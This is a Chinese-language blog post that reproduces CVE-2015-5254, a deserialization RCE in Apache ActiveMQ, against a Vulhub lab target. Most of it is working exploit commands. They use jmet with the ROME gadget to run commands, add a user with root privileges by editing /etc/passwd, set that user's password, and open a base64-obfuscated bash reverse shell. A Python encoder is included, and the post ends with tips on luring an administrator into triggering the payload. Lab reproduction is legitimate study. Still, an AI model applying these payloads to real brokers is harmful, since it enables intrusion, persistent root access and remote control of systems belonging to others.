CVE-2015-5254漏洞復現

2023-04-25 06:01:17

1.漏洞介紹。

Apache ActiveMQ 是美國阿帕奇(Apache)軟體基金會所研發的一套開源的訊息中介軟體,它支援 Java 訊息服務,叢集,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,該漏洞源於程式沒有限制可在代理中序列化的類。遠端攻擊者可藉助特製的序列化的 Java 訊息服務(JMS)ObjectMessage 物件利用該漏洞執行任意程式碼。

2.環境介紹。

復現環境採用kali搭建Vulhub。

靶機:172.18.0.1:8161

環境執行後,將監聽61616和8161兩個埠。其中61616是工作埠,訊息在這個埠進行傳遞;8161是Web管理頁面埠。存取http://your-ip:8161即可看到web管理頁面,不過這個漏洞理論上是不需要web的。

3.漏洞利用。

3.1漏洞利用過程簡述。

  1. 構造(可以使用ysoserial)可執行命令的序列化物件
  2. 作為一個訊息,傳送給目標61616埠
  3. 存取web管理頁面,讀取訊息,觸發漏洞

3.2具體過程。

(1)存取web介面並進行登入。

賬號:admin
密碼:admin

 (2)使用jmet進行漏洞利用。

首先下載jmet的jar檔案,並在同目錄下建立一個external資料夾(否則可能會爆資料夾不存在的錯誤)。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
//下載jar檔案
mkdir external
//建立external資料夾

執行命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
//建立
/tmp/success,同理可進行其他命令的操作

我們返回管理介面,發現新增了一個名為事件的佇列。

 點選進入

 此時已經觸發命令執行,我們進入dockor檢視

docker ps

docker exec -it b189872443f5  /bin/bash

 可以發現tmp目錄已建立,進入發現sucess,漏洞利用成功

建立一個使用者

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME  172.18.0.1  61616

觸發條件和之前相同,在管理介面去點選佇列

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME   172.18.0.1  61616
//修改許可權
 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME   172.18.0.1   61616
//新增密碼

至此,一個許可權為root,密碼為123456的使用者被我們建立成功,之後可以直接進行ssh遠端連線

或者將命令換為反彈shell再利用:

bash -i >& /dev/tcp/172.18.0.1/777 0>&1

使用base64編碼payload繞過Java機制

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx

附上base64編碼指令碼

import base64

# Sample string to encode
string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1"

# Encoding the string
encoded_string = base64.b64encode(string.encode('utf-8'))

# Printing the encoded string
print(encoded_string.decode('utf-8'))

構建pyload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616

使用nc監聽埠

 反彈shell成功

 值得注意的是,通過web管理頁面存取訊息並觸發漏洞這個過程需要管理員許可權。在沒有密碼的情況下,我們可以誘導管理員存取我們的連結以觸發,或者偽裝成其他合法服務需要的訊息,等待使用者端存取的時候觸發。